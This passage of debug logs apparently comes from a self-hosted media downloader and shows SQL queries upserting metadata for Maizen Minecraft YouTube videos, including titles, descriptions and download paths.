s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.127 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 20:07:18.128 [debug] QUERY OK source="media_items" db=0.6ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "280e9cab-6901-460c-a82a-1eef0832024f", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 20:07:18.129 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.130 [debug] QUERY OK source="media_items" db=1.2ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 20:07:18.131 [debug] QUERY OK source="media_items" db=0.6ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "b711649c-e3f5-409d-b1df-09cfae1c827d", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 20:07:18.132 [debug] QUERY OK source="sources" db=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.133 [debug] QUERY OK source="media_items" db=1.2ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 20:07:18.134 [debug] QUERY OK source="media_items" db=0.7ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "4964e3c4-9d53-4f5a-8493-2e3aaffa7e8e", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 20:07:18.135 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.136 [debug] QUERY OK source="media_items" db=1.2ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 20:07:18.137 [debug] QUERY OK source="media_items" db=0.7ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "e8c9bd67-7df4-42c5-8a46-692f35d1b79e", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 20:07:18.138 [debug] QUERY OK source="sources" db=0.3ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.139 [debug] QUERY OK source="media_items" db=1.2ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 20:07:18.140 [debug] QUERY OK source="media_items" db=0.7ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "c50a136c-1df3-4174-b403-061b55691553", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 20:07:18.141 [debug] QUERY OK source="sources" db=0.3ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.142 [debug] QUERY OK source="media_items" db=1.3ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 20:07:18.144 [debug] QUERY OK source="media_items" db=0.7ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "d6e1903c-b2ec-40bb-8455-baaefa6d9f49", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 20:07:18.144 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.146 [debug] QUERY OK source="media_items" db=1.2ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 20:07:18.147 [debug] QUERY OK source="media_items" db=0.6ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "93462617-8676-410d-97f1-6d895c8dd949", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 20:07:18.147 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.149 [debug] QUERY OK source="media_items" db=1.2ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 20:07:18.150 [debug] QUERY OK source="media_items" db=0.8ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "1e428bcf-3212-4a29-b03c-68c172ae5a63", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 20:07:18.150 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.152 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 20:07:18.153 [debug] QUERY OK source="media_items" db=0.7ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "479b83c2-bde5-4473-be16-f0fd18dc885c", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 20:07:18.154 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.155 [debug] QUERY OK source="media_items" db=1.3ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 20:07:18.156 [debug] QUERY OK source="media_items" db=0.7ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "07d8cf7f-e57a-4026-b942-b1996af02336", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 20:07:18.157 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.158 [debug] QUERY OK source="media_items" db=1.3ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 20:07:18.159 [debug] QUERY OK source="media_items" db=0.7ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft 